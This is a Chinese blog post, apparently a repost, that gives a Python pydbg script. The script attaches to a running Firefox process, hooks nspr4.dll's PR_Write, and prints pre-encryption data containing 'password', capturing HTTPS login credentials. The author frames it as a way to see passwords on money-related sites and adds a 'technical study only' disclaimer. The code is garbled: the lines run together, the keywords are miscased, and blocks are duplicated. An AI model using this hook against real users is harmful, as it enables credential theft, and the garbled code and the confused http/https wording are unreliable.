相对于http协议，http是的特点就是他的安全性，http协议的通信内容用普通的嗅探器可以捕捉到，但是https协议的内容嗅探到的是加密后的内容，对我们的利用价值不是很高，所以一些大的网站—-涉及到“大米”的网站，采用的都是http是协议，嘿嘿，即便这样，还是有办法能看到他的用户名和密码的，嘿嘿，本文只是用于技术学习，只是和大家交流技术，希望不要用于做违法的事情，这个例子是在firefox浏览器下登录https协议的网站，我们预先打开程序，就来了个捕获用户名和密码：
下面是源代码：
代码如下:
#!/ur/bin/env python from pydbg import *from pydbg.defines import *import utils import sys dbg = pydbg() found_firefox = falsepattern = “password” def ssl_sniff( dbg, args ): buffer = “” offset = 0 while 1: byte = dbg.read_process_memory( args[1] + offset, 1 ) if byte != “x00”: buffer += byte offset += 1 continue else: break if pattern in buffer: print “pre-encrypted: %s” % buffer return dbg_continue # 寻找firefox.exe的进程 for (pid, name) in dbg.enumerate_processes(): if name.lower() == “firefox.exe”: found_firefox = true hooks = utils.hook_container() dbg.attach(pid) print “[*] attaching to firefox.exe with pid: %d” % pid # 得到firefox的hook的 address hook_address = dbg.func_resolve_debuggee(“nspr4.dll”,”pr_write”) if hook_address: # 添加hook的内容，包括他的pid，地址，嗅探类型 hooks.add( dbg, hook_address, 2, ssl_sniff, none ) print “[*] nspr4.pr_write hooked at: 0x%08x” % hook_address break else: print “[*] error: couldn’t resolve hook address.” sys.exit(-1) if found_firefox: print “[*] hooks set, continuing process.” dbg.run() else: print “[*] error: couldn’t find the firefox.exe process.” sys.exit(-1) if found_firefox: print “[*] hooks set, continuing process.” dbg.run() else: print “[*] error: couldn’t find the firefox.exe process.” sys.exit(-1)
转自：http://world77.blog.bitscn.com/414605/518679